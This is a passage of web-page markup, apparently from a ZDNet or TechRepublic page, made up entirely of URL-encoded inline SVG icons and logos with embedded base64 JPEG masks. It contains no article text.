c77.314-6.87%2c130.373-106.789%2c130.373-106.789l-7.876-36.614c0%2c0-47.573%2c87.269-123.505%2c90.359
c-50.325%2c2.02-67.776-39.378-121.131-42.782c-72.524-4.652-98.58%2c77.324-98.58%2c77.324L99.62%2c174.638z'%3e%3c/path%3e%3cpath
d='M170.137%2c352.223c0%2c0%2c30.791-61.587%2c86.229-60.897c50.648%2c0.629%2c76.796%2c49.611%2c130.71%2c45.5
c62.947-4.789%2c101.633-93.065%2c101.633-93.065l-7.181-32.84c0%2c0-33.213%2c75.629-96.49%2c77.996
c-50.332%2c1.91-66.078-39.905-119.436-43.797c-60.926-4.451-93.425%2c58.525-93.425%2c58.525L170.137%2c352.223z'%3e%3c/path%3e%3cpath
d='M34.28%2c138.363l-8.882%2c47.568c0%2c0%2c54.062%2c36.263%2c83.477%2c101.612
c35.369%2c78.523%2c41.11%2c155.027%2c41.11%2c155.027l14.004-39.356c0%2c0-3.908-64.547-33.875-137.915
C91.094%2c169.852%2c34.28%2c138.363%2c34.28%2c138.363z'%3e%3c/path%3e%3cpath
d='M99.62%2c174.638c0%2c0%2c23.65-69.818%2c81.455-68.802c56.817%2c1.028%2c79.976%2c49.935%2c133.81%2c45.207
c77.314-6.87%2c130.373-106.789%2c130.373-106.789l-7.876-36.614c0%2c0-47.573%2c87.269-123.505%2c90.359
c-50.325%2c2.02-67.776-39.378-121.131-42.782c-72.524-4.652-98.58%2c77.324-98.58%2c77.324L99.62%2c174.638z'%3e%3c/path%3e%3cpath
d='M170.137%2c352.223c0%2c0%2c30.791-61.587%2c86.229-60.897c50.648%2c0.629%2c76.796%2c49.611%2c130.71%2c45.5
c62.947-4.789%2c101.633-93.065%2c101.633-93.065l-7.181-32.84c0%2c0-33.213%2c75.629-96.49%2c77.996
c-50.332%2c1.91-66.078-39.905-119.436-43.797c-60.926-4.451-93.425%2c58.525-93.425%2c58.525L170.137%2c352.223z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cg%3e%3cpath
d='M34.28%2c137.863l-8.882%2c47.568c0%2c0%2c54.062%2c36.263%2c83.477%2c101.612c35.369%2c78.523%2c41.11%2c155.027%2c41.11%2c155.027
l14.004-39.356c0%2c0-3.908-64.547-33.875-137.915C91.094%2c169.352%2c34.28%2c137.863%2c34.28%2c137.863z'%3e%3c/path%3e%3cpath
d='M99.62%2c174.138c0%2c0%2c23.65-69.818%2c81.455-68.802c56.817%2c1.028%2c79.976%2c49.935%2c133.81%2c45.207
c77.314-6.87%2c130.373-106.789%2c130.373-106.789l-7.876-36.614c0%2c0-47.573%2c87.269-123.505%2c90.359
c-50.325%2c2.02-67.776-39.378-121.131-42.782c-72.524-4.652-98.58%2c77.324-98.58%2c77.324L99.62%2c174.138z'%3e%3c/path%3e%3cpath
d='M170.137%2c351.723c0%2c0%2c30.791-61.587%2c86.229-60.897c50.648%2c0.629%2c76.796%2c49.611%2c130.71%2c45.5
c62.947-4.789%2c101.633-93.065%2c101.633-93.065l-7.181-32.84c0%2c0-33.213%2c75.629-96.49%2c77.996
c-50.332%2c1.91-66.078-39.905-119.436-43.797c-60.926-4.451-93.425%2c58.525-93.425%2c58.525L170.137%2c351.723z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3cg%3e%3cg%3e%3cpath
d='M34.28%2c137.863l-8.882%2c47.568c0%2c0%2c54.062%2c36.263%2c83.477%2c101.612
c35.369%2c78.523%2c41.11%2c155.027%2c41.11%2c155.027l14.004-39.356c0%2c0-3.908-64.547-33.875-137.915
C91.094%2c169.352%2c34.28%2c137.863%2c34.28%2c137.863z'%3e%3c/path%3e%3cpath
d='M99.62%2c174.138c0%2c0%2c23.65-69.818%2c81.455-68.802c56.817%2c1.028%2c79.976%2c49.935%2c133.81%2c45.207
c77.314-6.87%2c130.373-106.789%2c130.373-106.789l-7.876-36.614c0%2c0-47.573%2c87.269-123.505%2c90.359
c-50.325%2c2.02-67.776-39.378-121.131-42.782c-72.524-4.652-98.58%2c77.324-98.58%2c77.324L99.62%2c174.138z'%3e%3c/path%3e%3cpath
d='M170.137%2c351.723c0%2c0%2c30.791-61.587%2c86.229-60.897c50.648%2c0.629%2c76.796%2c49.611%2c130.71%2c45.5
c62.947-4.789%2c101.633-93.065%2c101.633-93.065l-7.181-32.84c0%2c0-33.213%2c75.629-96.49%2c77.996
c-50.332%2c1.91-66.078-39.905-119.436-43.797c-60.926-4.451-93.425%2c58.525-93.425%2c58.525L170.137%2c351.723z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/symbol%3e%3csymbol
id='rss-icon' viewBox='0 0 24 24'%3e%3cpath d='M0 0v24h24v-24h-24zm6.168
20c-1.197 0-2.168-.969-2.168-2.165s.971-2.165 2.168-2.165 2.167.969 2.167
2.165-.97 2.165-2.167 2.165zm5.18
0c-.041-4.029-3.314-7.298-7.348-7.339v-3.207c5.814.041 10.518 4.739 10.56
10.546h-3.212zm5.441 0c-.021-7.063-5.736-12.761-12.789-12.792v-3.208c8.83.031
15.98 7.179 16 16h-3.211z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='rss-icon-
alt' viewBox='0 0 24 24'%3e%3cpath d='M6.503 20.752c0 1.794-1.456 3.248-3.251
3.248-1.796 0-3.252-1.454-3.252-3.248 0-1.794 1.456-3.248 3.252-3.248
1.795.001 3.251 1.454 3.251 3.248zm-6.503-12.572v4.811c6.05.062 10.96 4.966
11.022 11.009h4.817c-.062-8.71-7.118-15.758-15.839-15.82zm0-3.368c10.58.046
19.152 8.594 19.183
19.188h4.817c-.03-13.231-10.755-23.954-24-24v4.812z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='comment-icon' viewBox='0 0 24 24'%3e%3cpath id='speech-bubble-9'
d='M12%2c1C5.373%2c1%2c0%2c5.364%2c0%2c10.749c0%2c3.13%2c1.817%2c5.917%2c4.64%2c7.7c0.868%2c2.168-1.083%2c4.009-3.142%2c4.504
c2.271%2c0.195%2c6.311-0.121%2c9.374-2.498C17.967%2c20.992%2c24%2c16.457%2c24%2c10.749C24%2c5.364%2c18.627%2c1%2c12%2c1z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='paper-plane' viewBox='0 0 24 24'%3e%3cpath d='M24 0l-6 22-8.129-7.239
7.802-8.234-10.458 7.227-7.215-1.754 24-12zm-15
16.668v7.332l3.258-4.431-3.258-2.901z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='download' viewBox='0 0 24 24'%3e%3cpath d='M16 11h5l-9
10-9-10h5v-11h8v11zm1 11h-10v2h10v-2z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='print' viewBox='0 0 24 24'%3e%3cpath d='M24
11v12h-24v-12h4v-10h10.328c1.538 0 5.672 4.852 5.672
6.031v3.969h4zm-6-3.396c0-1.338-2.281-1.494-3.25-1.229.453-.813.305-3.375-1.082-3.375h-7.668v13h12v-8.396zm-2
5.396h-8v-1h8v1zm0-3h-8v1h8v-1zm0-2h-8v1h8v-1z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='video-alt' viewBox='0 0 24 24'%3e%3cpath d='M19.615
3.184c-3.604-.246-11.631-.245-15.23 0-3.897.266-4.356 2.62-4.385 8.816.029
6.185.484 8.549 4.385 8.816 3.6.245 11.626.246 15.23 0 3.897-.266 4.356-2.62
4.385-8.816-.029-6.185-.484-8.549-4.385-8.816zm-10.615 12.816v-8l8 3.993-8
4.007z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='video-camera' viewBox='0 0 24
24'%3e%3cpath d='M16 16c0 1.104-.896 2-2 2h-12c-1.104
0-2-.896-2-2v-8c0-1.104.896-2 2-2h12c1.104 0 2 .896 2 2v8zm8-10l-6
4.223v3.554l6 4.223v-12z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='book-open'
viewBox='0 0 24 24'%3e%3cpath d='M23 5v13.883l-1
.117v-16c-3.895.119-7.505.762-10.002
2.316-2.496-1.554-6.102-2.197-9.998-2.316v16l-1-.117v-13.883h-1v15h9.057c1.479
0 1.641 1 2.941 1 1.304 0 1.461-1 2.942-1h9.06v-15h-1zm-12
13.645c-1.946-.772-4.137-1.269-7-1.484v-12.051c2.352.197 4.996.675 7
1.922v11.613zm9-1.484c-2.863.215-5.054.712-7 1.484v-11.613c2.004-1.247
4.648-1.725 7-1.922v12.051z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='river-
arrow' viewBox='0 0 24 24'%3e%3cpath d='M16 7.328v-3.328l8 8-8
8v-3.328l-16-4.672z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='river-video'
viewBox='0 0 24 24'%3e%3cpath d='M12 2c5.514 0 10 4.486 10 10s-4.486 10-10
10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12
12-5.373 12-12-5.373-12-12-12zm-3 17v-10l9 5.146-9
4.854z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='river-photo' viewBox='0 0 24
24'%3e%3cpath d='M5 4h-3v-1h3v1zm10.93 0l.812 1.219c.743 1.115 1.987 1.781
3.328 1.781h1.93v13h-20v-13h3.93c1.341 0 2.585-.666
3.328-1.781l.812-1.219h5.86zm1.07-2h-8l-1.406
2.109c-.371.557-.995.891-1.664.891h-5.93v17h24v-17h-3.93c-.669
0-1.293-.334-1.664-.891l-1.406-2.109zm-11 8c0-.552-.447-1-1-1s-1 .448-1 1 .447
1 1 1 1-.448 1-1zm7 0c1.654 0 3 1.346 3 3s-1.346 3-3 3-3-1.346-3-3 1.346-3
3-3zm0-2c-2.761 0-5 2.239-5 5s2.239 5 5 5 5-2.239
5-5-2.239-5-5-5z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='zdnet-logo'
viewBox='0 0 500 319.403'%3e%3cg%3e%3cpath
d='M314.083%2c213.79L225.861%2c11.559c-1.747-4.02-6.476-5.872-10.501-4.116L13.125%2c95.642
c-4.019%2c1.755-5.878%2c6.476-4.123%2c10.502l88.215%2c202.24c1.76%2c4.019%2c6.48%2c5.873%2c10.503%2c4.118l202.234-88.216
C313.979%2c222.543%2c315.833%2c217.813%2c314.083%2c213.79z
M211.526%2c188.116h-18.279v-24.361h12.704c17.168%2c0%2c31.838-9.38%2c31.838-30.958
c0-19.813-13.051-30.946-31.54-30.946h-16.09v55.254l-21.02%2c31.011H49.774l58.548-86.265H54.771l16.328-24.366h88.432
l-58.253%2c86.269h60.125V77.486h50.124c30.813%2c0%2c56.193%2c24.204%2c56.193%2c55.312C267.719%2c163.9%2c242.187%2c188.116%2c211.526%2c188.116z'%3e%3c/path%3e%3cpath
d='M277.449%2c76.227h24.867l21.319%2c44.581c5.628%2c11.871%2c9.949%2c23.58%2c12.191%2c31.592
c-0.808-8.654-1.601-22.937-1.768-30.63l-0.475-45.542h21.333v111.464H331.49l-19.077-42.667
c-6.088-13.949-12.994-29.662-15.083-36.562c0.812%2c9.146%2c0.978%2c22.3%2c1.13%2c31.597l0.642%2c47.632h-21.652V76.227z'%3e%3c/path%3e%3cpath
d='M427.211%2c165.88l8.344%2c12.83c-9.465%2c7.693-19.409%2c11.391-30.955%2c11.391
c-23.58%2c0-38.811-16.679-38.811-42.503c0-14.75%2c3.04-24.541%2c10.249-32.564c6.753-7.533%2c14.927-11.071%2c25.836-11.071
c9.455%2c0%2c18.44%2c3.216%2c23.728%2c8.677c7.536%2c7.694%2c10.908%2c18.762%2c10.908%2c35.93c0%2c1.752%2c0%2c2.391%2c0%2c4.958h-47.478v0.648
c0%2c12.659%2c6.26%2c19.885%2c17.334%2c19.885C413.742%2c174.061%2c420.638%2c171.335%2c427.211%2c165.88z
M389.364%2c137.814h24.862v-0.964
c0-6.089-0.646-9.304-2.574-12.357c-2.095-3.201-5.139-4.813-9.465-4.813c-8.174%2c0-12.823%2c6.417-12.823%2c17.812V137.814z'%3e%3c/path%3e%3cpath
d='M492.802%2c105.423l-5.447%2c14.257h-13.797v41.875c0%2c10.423%2c1.924%2c13.155%2c9.304%2c13.155
c1.924%2c0%2c3.848-0.496%2c7.699-1.612l2.726%2c12.825c-6.25%2c2.579-11.868%2c3.702-17.481%2c3.702c-10.904%2c0-19.733-4.817-22.132-12.032
c-1.282-3.533-1.443-5.144-1.443-12.676V119.68h-8.183v-13.944h8.183c0-8.017%2c0-13.466%2c0.808-19.56l21.803-5.454
c-0.812%2c7.532-1.282%2c16.358-1.282%2c24.7H492.802z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3c/svg%3e'
/>

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='twitter js-evernote-checked' data-evernote-id='187'%3e%3cpath
d='M32.5%2c3.4c-0.5%2c0.3-2.2%2c1-3.7%2c1.1c1-0.6%2c2.4-2.4%2c2.8-3.9c-0.9%2c0.6-3.1%2c1.6-4.2%2c1.6c0%2c0%2c0%2c0%2c0%2c0
C26.1%2c0.9%2c24.4%2c0%2c22.5%2c0c-3.7%2c0-6.7%2c3.2-6.7%2c7.2c0%2c0.6%2c0.1%2c1.1%2c0.2%2c1.6h0C11%2c8.7%2c5.1%2c6%2c1.8%2c1.3c-2%2c3.8-0.3%2c8%2c2%2c9.5
c-0.8%2c0.1-2.2-0.1-2.9-0.8c0%2c2.5%2c1.1%2c5.8%2c5.2%2c7c-0.8%2c0.5-2.2%2c0.3-2.8%2c0.2c0.2%2c2.1%2c3%2c4.9%2c6%2c4.9c-1.1%2c1.3-4.7%2c3.8-9.3%2c3
c3.1%2c2%2c6.7%2c3.2%2c10.5%2c3.2c10.8%2c0%2c19.2-9.4%2c18.7-21.1c0%2c0%2c0%2c0%2c0%2c0c0%2c0%2c0-0.1%2c0-0.1c0%2c0%2c0-0.1%2c0-0.1C30.2%2c6.4%2c31.5%2c5.1%2c32.5%2c3.4z'%3e%3c/path%3e%3c/svg%3e'
/> <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='facebook js-evernote-checked' data-evernote-id='188'%3e%3cpath
d='M15.2%2c11.1H9.6V7c0-1.2%2c1.3-1.5%2c1.9-1.5c0.6%2c0%2c3.6%2c0%2c3.6%2c0V0L11%2c0C5.4%2c0%2c4.1%2c4.1%2c4.1%2c6.7v4.4H0v5.6h4.1
c0%2c7.3%2c0%2c15.2%2c0%2c15.2h5.5c0%2c0%2c0-8.1%2c0-15.2h4.7L15.2%2c11.1z'%3e%3c/path%3e%3c/svg%3e'
/> <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='linkedin js-evernote-checked' data-evernote-id='189'%3e%3cpath
d='M24%2c8c-5.1%2c0.1-7.7%2c3.8-8%2c4V8h-6v24h6V18c0-0.5%2c1.3-4.6%2c6-4c2.5%2c0.2%2c3.9%2c3.5%2c4%2c4v14l6%2c0V15.4
C31.7%2c13%2c30.5%2c8.1%2c24%2c8z M0%2c32h6V8H0V32z
M3%2c0C1.3%2c0%2c0%2c1.3%2c0%2c3s1.3%2c3%2c3%2c3c1.7%2c0%2c3-1.3%2c3-3S4.7%2c0%2c3%2c0z'%3e%3c/path%3e%3c/svg%3e'
/> <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='flipboard js-evernote-checked' data-evernote-id='190'%3e%3cpath
class='cls-1'
d='M0%2c0V500H500V0ZM400%2c200H300V300H200V400H100V100H400Z'%3e%3c/path%3e%3c/svg%3e'
/>

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='tr-logotype js-evernote-checked' data-evernote-
id='191'%3e%3cg%3e%3cg%3e%3cg opacity='0.4'%3e%3cpath
d='M4.836%2c52.219l-1.898%2c9.499c0%2c0%2c11.475%2c6.566%2c19.227%2c23.654c6.813%2c15.013%2c8.47%2c31.416%2c8.47%2c31.416
l2.846-7.833c0%2c0-1.564-15.878-8.544-31.411C16.151%2c57.995%2c4.836%2c52.219%2c4.836%2c52.219z'%3e%3c/path%3e%3cpath
d='M4.836%2c52.219l-1.898%2c9.499c0%2c0%2c11.475%2c6.566%2c19.227%2c23.654c6.813%2c15.013%2c8.47%2c31.416%2c8.47%2c31.416
l2.846-7.833c0%2c0-1.564-15.878-8.544-31.411C16.151%2c57.995%2c4.836%2c52.219%2c4.836%2c52.219z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cpath
d='M4.836%2c51.719l-1.898%2c9.499c0%2c0%2c11.475%2c6.566%2c19.227%2c23.654c6.813%2c15.013%2c8.47%2c31.416%2c8.47%2c31.416l2.846-7.833
c0%2c0-1.564-15.878-8.544-31.411C16.151%2c57.495%2c4.836%2c51.719%2c4.836%2c51.719z'%3e%3c/path%3e%3c/g%3e%3cdefs%3e%3cfilter
id='Adobe_OpacityMaskFilter' filterUnits='userSpaceOnUse' x='2.938' y='51.719'
width='30.543' height='64.569'%3e%3cfeColorMatrix type='matrix' values='-1 0 0
0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0' color-interpolation-filters='sRGB'
result='source'%3e%3c/feColorMatrix%3e%3c/filter%3e%3c/defs%3e%3cmask
maskUnits='userSpaceOnUse' x='2.938' y='51.719' width='30.543' height='64.569'
id='SVGID_1_'%3e%3cg filter='url(%23Adobe_OpacityMaskFilter)'%3e%3cimage
overflow='visible' width='36' height='69'
xlink:href='data:image/jpeg%3bbase64%2c/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/%2b4AIUFkb2JlAGTAAAAAAQMA
EAMCAwYAAAG4AAACFgAAA5P/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIAEUAJAMBIgACEQEDEQH/
xACIAAEBAQEBAQAAAAAAAAAAAAAABwUGBAIBAQAAAAAAAAAAAAAAAAAAAAAQAAEDAwQDAQAAAAAA
AAAAAAUCBAYQARUgMAMHABMWFxEAAgECAwYFBAMAAAAAAAAAAQIDEQQhQRIAIDEiExRRYXEyBRCh
IxWRgkMSAQAAAAAAAAAAAAAAAAAAADD/2gAMAwEAAhEDEQAAAM3D6/sSGvf4ABSZt9FYktomRiAA
6bp5lZCNgAUuadiZjUHGgaIZwP/aAAgBAgABBQDf/9oACAEDAAEFAN//2gAIAQEAAQUAhUVZnWZ4
C9BPa9cnBjdoXEMjLI2IcBSVYJLeV9edR9RcXVC18a4ucsdEzAUkUfrAjWMNdmDr84vQhdpLEtHW
L32i8en7avWbu/EZyrf9KqAyeV8//9oACAECAgY/AH//2gAIAQMCBj8Af//aAAgBAQEGPwC%2blvld
UVo47eeNgCHALSChqDgV4jPDY2t0NSNUwTgckqeI8CMxl/B3JPip5BBcvMZUMjAJJrCRhUJpzco5
c8vJ7O8TUjYo498b5OhyI2lsLg6jHQpIAQsiMKqwr9/Oo3B8R8i%2bq4RK287EapFX/Nq8XAxrmOPD
ET24rd2OqRBQkvHSrxgLmaAjDKme4skbFHQhlZTQqRiCCM9o7tgFuEJiuEWtBIvhXJlIP2y2uIIk
0W8tJ7cYU0SYkKF4BX1KPTcW3lNLa/pC/lJX8TcCeJ0/2qeG0HyCAlrOTTJSlBHNQajXH3qoHrul
gEeW9tWWjAhBcAFeBqQFlXA%2bVd26siWLW0wkBJqoSZcFXHDmjYn127Ht/wAP7HT2%2bjl6HV1eyns6
ePhp8tye1aQLHcwEiM055I2UrTOoQvt3mlun3Ha5V1dPs9XGmnVj6bkP6mnf6ZejWnHpPqpqwrpr
Sv0//9k=' transform='matrix(1 0 0 1 0
49.377)'%3e%3c/image%3e%3c/g%3e%3c/mask%3e%3cg opacity='0.23'
mask='url(%23SVGID_1_)'%3e%3cpath
d='M4.836%2c51.719l-1.898%2c9.499c0%2c0%2c11.475%2c6.566%2c19.227%2c23.654c6.813%2c15.013%2c8.47%2c31.416%2c8.47%2c31.416
l2.846-7.833c0%2c0-1.564-15.878-8.544-31.411C16.151%2c57.495%2c4.836%2c51.719%2c4.836%2c51.719z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3cg%3e%3cg
opacity='0.4'%3e%3cpath fill='%23FFFFFF'
d='M8.16%2c34.418l-2.054%2c11c0%2c0%2c12.501%2c8.385%2c19.303%2c23.496c8.179%2c18.156%2c9.506%2c35.847%2c9.506%2c35.847
l3.238-9.101c0%2c0-0.903-14.925-7.833-31.89C21.297%2c41.7%2c8.16%2c34.418%2c8.16%2c34.418z'%3e%3c/path%3e%3cpath
fill='%23FFFFFF'
d='M23.269%2c42.807c0%2c0%2c5.469-16.144%2c18.835-15.909c13.138%2c0.238%2c18.492%2c11.546%2c30.941%2c10.453
c17.877-1.588%2c30.146-24.692%2c30.146-24.692l-1.821-8.466c0%2c0-11%2c20.179-28.558%2c20.894c-11.637%2c0.467-15.672-9.105-28.009-9.893
c-16.77-1.076-22.795%2c17.88-22.795%2c17.88L23.269%2c42.807z'%3e%3c/path%3e%3cpath
fill='%23FFFFFF'
d='M39.574%2c83.87c0%2c0%2c7.12-14.241%2c19.938-14.082C71.225%2c69.934%2c77.271%2c81.26%2c89.737%2c80.31
c14.556-1.107%2c23.501-21.52%2c23.501-21.52l-1.661-7.594c0%2c0-7.68%2c17.488-22.312%2c18.036c-11.638%2c0.441-15.279-9.228-27.617-10.128
c-14.088-1.029-21.603%2c13.533-21.603%2c13.533L39.574%2c83.87z'%3e%3c/path%3e%3cpath
fill='%23FFFFFF'
d='M8.16%2c34.418l-2.054%2c11c0%2c0%2c12.501%2c8.385%2c19.303%2c23.496c8.179%2c18.156%2c9.506%2c35.847%2c9.506%2c35.847
l3.238-9.101c0%2c0-0.903-14.925-7.833-31.89C21.297%2c41.7%2c8.16%2c34.418%2c8.16%2c34.418z'%3e%3c/path%3e%3cpath
fill='%23FFFFFF'
d='M23.269%2c42.807c0%2c0%2c5.469-16.144%2c18.835-15.909c13.138%2c0.238%2c18.492%2c11.546%2c30.941%2c10.453
c17.877-1.588%2c30.146-24.692%2c30.146-24.692l-1.821-8.466c0%2c0-11%2c20.179-28.558%2c20.894c-11.637%2c0.467-15.672-9.105-28.009-9.893
c-16.77-1.076-22.795%2c17.88-22.795%2c17.88L23.269%2c42.807z'%3e%3c/path%3e%3cpath
fill='%23FFFFFF'
d='M39.574%2c83.87c0%2c0%2c7.12-14.241%2c19.938-14.082C71.225%2c69.934%2c77.271%2c81.26%2c89.737%2c80.31
c14.556-1.107%2c23.501-21.52%2c23.501-21.52l-1.661-7.594c0%2c0-7.68%2c17.488-22.312%2c18.036c-11.638%2c0.441-15.279-9.228-27.617-10.128
c-14.088-1.029-21.603%2c13.533-21.603%2c13.533L39.574%2c83.87z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cg%3e%3cpath
d='M8.16%2c33.918l-2.054%2c11c0%2c0%2c12.501%2c8.385%2c19.303%2c23.496c8.179%2c18.156%2c9.506%2c35.847%2c9.506%2c35.847l3.238-9.101
c0%2c0-0.903-14.925-7.833-31.89C21.297%2c41.2%2c8.16%2c33.918%2c8.16%2c33.918z'%3e%3c/path%3e%3cpath
d='M23.269%2c42.307c0%2c0%2c5.469-16.144%2c18.835-15.909c13.138%2c0.238%2c18.492%2c11.546%2c30.941%2c10.453
c17.877-1.588%2c30.146-24.692%2c30.146-24.692l-1.821-8.466c0%2c0-11%2c20.179-28.558%2c20.894c-11.637%2c0.467-15.672-9.105-28.009-9.893
c-16.77-1.076-22.795%2c17.88-22.795%2c17.88L23.269%2c42.307z'%3e%3c/path%3e%3cpath
d='M39.574%2c83.37c0%2c0%2c7.12-14.241%2c19.938-14.082C71.225%2c69.434%2c77.271%2c80.76%2c89.737%2c79.81
c14.556-1.107%2c23.501-21.52%2c23.501-21.52l-1.661-7.594c0%2c0-7.68%2c17.488-22.312%2c18.036
c-11.638%2c0.441-15.279-9.228-27.617-10.128c-14.088-1.029-21.603%2c13.533-21.603%2c13.533L39.574%2c83.37z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3cdefs%3e%3cfilter
id='Adobe_OpacityMaskFilter_1_' filterUnits='userSpaceOnUse' x='6.106'
y='3.692' width='107.132' height='100.569'%3e%3cfeColorMatrix type='matrix'
values='-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0' color-interpolation-
filters='sRGB'
result='source'%3e%3c/feColorMatrix%3e%3c/filter%3e%3c/defs%3e%3cmask
maskUnits='userSpaceOnUse' x='6.106' y='3.692' width='107.132'
height='100.569' id='SVGID_2_'%3e%3cg
filter='url(%23Adobe_OpacityMaskFilter_1_)'%3e%3cimage overflow='visible'
width='112' height='105'
xlink:href='data:image/jpeg%3bbase64%2c/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/%2b4AIUFkb2JlAGTAAAAAAQMA
EAMCAwYAAAIzAAADowAACUD/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIAGkAcAMBIgACEQEDEQH/
xACeAAEAAwEBAQAAAAAAAAAAAAAABQYHAwIEAQEAAAAAAAAAAAAAAAAAAAAAEAACAwABBAICAwAA
AAAAAAAEBQIDBgcAEDABIFBAFBUWFxEAAgECBAMEBgYGCwAAAAAAAQIDEQQAITESQSIFUWGBExAg
MDJCFHGRobHRI0DwwWKCNVJy0jNTY5PjJKQVEgEAAAAAAAAAAAAAAAAAAABQ/9oADAMBAAIRAxEA
AADPwDucFrFUd%2bAA%2b3jrpnEFbKmAfbscF1LQyD6jSaFbZwxSa1ERsV6yk5A0eqXC2FLz2TigD1aa
oNAg62AAPWo5Z1Ndx3bszK6W4qLa/RiTQKIcj0LfMcjOwW6x5lthnOoUylF97ZUN9%2bXHdDPE76gS
Yxrt8gA1PLLqQ0HZa0AAAAAJuEH1/IAAAAH/2gAIAQIAAQUA%2bx//2gAIAQMAAQUA%2bx//2gAIAQEA
AQUA8ahWS3YbFNSmdfAIEw%2b8fjbRXVEcbaKmo0EwC/uECYfflM5BAv5EaiHN%2b6hWS3YJ0i5MN2ZK
gGwznjUyj3ZltFWQs42ck%2b0qBako2mo/hQ/hxwsqGSanbDpJz3uqlNdyM%2bGuQ61S7h30%2byBS1lFE
GEdsIhBMzmoy5SApa/qU8eznOyfaE51zVciOwY/6p023r5lH4cf6FdNcaEKwF0SQtGf44TnXPG7G
LeGvz/p4q8MITsnpcjUmzfQpRAZCFzS7WbpV7XP%2bsvg7m1I2Xzw1Nubz9tbzjWPqBQpAZHUITsni
8Xcuu5IfQjR247d/otOSV3olLg85U3OIJGDpP5LTUdLuRURc6ra7q2SdY2rnxnn5TV59Oo60OhDQ
hlFEGEdqL7Rr7PVbtHgzx1uTfPjXpvZS/aprFPIiU2P9gQ9OuQ1IdTNmY1M%2bHG537CHUzNEa%2bTjA
qcGnINMK9P5MaUOJpGzG5ox/H//aAAgBAgIGPwBH/9oACAEDAgY/AEf/2gAIAQEBBj8A9nDY2ykt
Iw3uBURx15pG0yUfhh7a2XZayRpLAu4sQpGxtxbjvRvVFtZQvPM3wIK0FQKnsGepywJJGt7djWsU
kjFhQ8fKR1%2b3Bkja3uGFKRRyMGNTw81EX7cG2vYXgmX4HFKipFR2jLUZeoLayheeZvgQVoKgVPYM
9TlgxOVkvJjvuJQONKCNTrtXv41OEt7dFLWKmOW4BB8xmo2zLhGa%2bJPqQ2NspLSMN7gVEcdeaRtM
lH4YW3sogpoBJMQPMkIzq7cdfDh6flb%2bETRVDAEkFWHFWWhBwZejy/NR/wCBKVSUaDJ%2bVG4n4fHH
yzdOnMlQu5ULR1b/ADVqlM9a5YY9QdLBBUAZTuTlTljbbT%2bKvdgw2MW1nA82VjueQqKVYn7hl3YF
vZuv/pXGSA5mKPOstNNclr9tPV%2bfB3TX7sWOfKkTNGq69oY%2bPdj5O1Rbq/Iqyk0SGo5S9Myf3csu
IyqzLeBAxJCLFFRQeA3ITl3nG69KX0J1RlWJhSvuPEop4g4RI5BBesOa0kNH3Z5ISAH0ry8NQPUk
toGE/UwAFhzKx7hk0h0y/o1rpoM8SXV1IZZ5TukkbUn0zHqNpHKt1M5jkZQXMaqIwVb3lo2%2bnHHG
WxlJ%2bXuKeOx6aMPt1HECKaGQG7rLbxKDUpNJJI4JyNNqHfnrl24aSRi7uSzMxqWJzJJPH0rJGxR0
IZWU0KkZggjjhIrsJfwrqZKrNtAoB5o786spPfj%2bV/8AY/2cGKNxZQEnlt6q5WtVDSE7sv3dtez1
bfobMY72ESFQ9Asu6R5KRmuoDZg%2bGJLS7jEsEoo6H7x2EcDh7OUMbYsz2khNVdCaV4DdSgb8Ke0W
SNijoQyspoVIzBBHHC9PvyF6kg5W0E6qKkjsYDUeI40ZIx/zLbdLbEAVZqZxVNKB8uOtDw9kscal
3chVVRUsTkAAOOLO4oXvo5dt5IlShEoJzroEKqo010qfRHdWshiniO6ORdQcRX8Q2FqrLFUMY5F9
5TT6x3EYmkRNtvefnxEVI3N/eip476mg0BHoW%2b6hI9rZvnEigebKtPeBbJR2Ghr9RwsMfTrdlX4p
Y1lc1zzeQMx%2bvDRt022CuCpKRIjUPYyAMD3g4M3Q5CXBZmtp2FCNVWJ9o%2bjmP8WJLW6jMU8R2yRt
